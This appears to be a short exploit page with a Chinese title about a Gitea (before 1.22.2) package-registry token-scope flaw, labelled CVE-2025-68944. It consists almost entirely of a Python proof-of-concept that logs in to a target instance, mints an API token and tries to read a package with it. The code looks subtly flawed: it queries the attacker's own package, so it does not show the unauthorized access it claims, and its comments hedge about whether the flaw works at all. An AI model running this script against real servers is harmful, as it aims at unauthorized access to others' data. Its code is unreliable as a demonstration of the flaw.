Gitea 1.22.2前版本包注册表Token权限传播错误漏洞

# CVE-2025-68944 PoC - Gitea Package Registry Token Scope Propagation # This PoC demonstrates the improper token scope handling in Gitea < 1.22.2 import requests import json GITEA_URL = "http://target-gitea-instance.com" USERNAME = "attacker" PASSWORD = "password" PACKAGE_NAME = "sensitive-package" def create_exploit_token(): """Create a package registry token that may have improper scope""" # Login to Gitea session = requests.Session() login_data = { "user_name": USERNAME, "password": PASSWORD } login_resp = session.post(f"{GITEA_URL}/user/login", data=login_data) if login_resp.status_code != 200: print("[-] Login failed") return None print("[+] Login successful") # Create package registry access token # In vulnerable versions, this token may have improper scope token_data = { "name": "exploit-token", "scopes": ["repo", "package"] } token_resp = session.post( f"{GITEA_URL}/api/v1/user/tokens", json=token_data ) if token_resp.status_code == 201: token = token_resp.json()["sha1"] print(f"[+] Token created: {token}") return token else: print("[-] Token creation failed") return None def exploit_package_access(token): """Access package that should be unauthorized with the token""" headers = { "Authorization": f"token {token}" } # Attempt to access package in different repository # In vulnerable versions, this may succeed unexpectedly package_url = f"{GITEA_URL}/api/v1/packages/{USERNAME}/{PACKAGE_NAME}" resp = requests.get(package_url, headers=headers) if resp.status_code == 200: print(f"[CRITICAL] Successfully accessed package: {PACKAGE_NAME}") print(f"[+] Package details: {json.dumps(resp.json(), indent=2)}") return True else: print(f"[-] Access denied (expected in patched version)") return False if __name__ == "__main__": print("="*60) print("CVE-2025-68944 PoC - Gitea Token Scope Propagation") print("="*60) token = create_exploit_token() if token: exploit_package_access(token)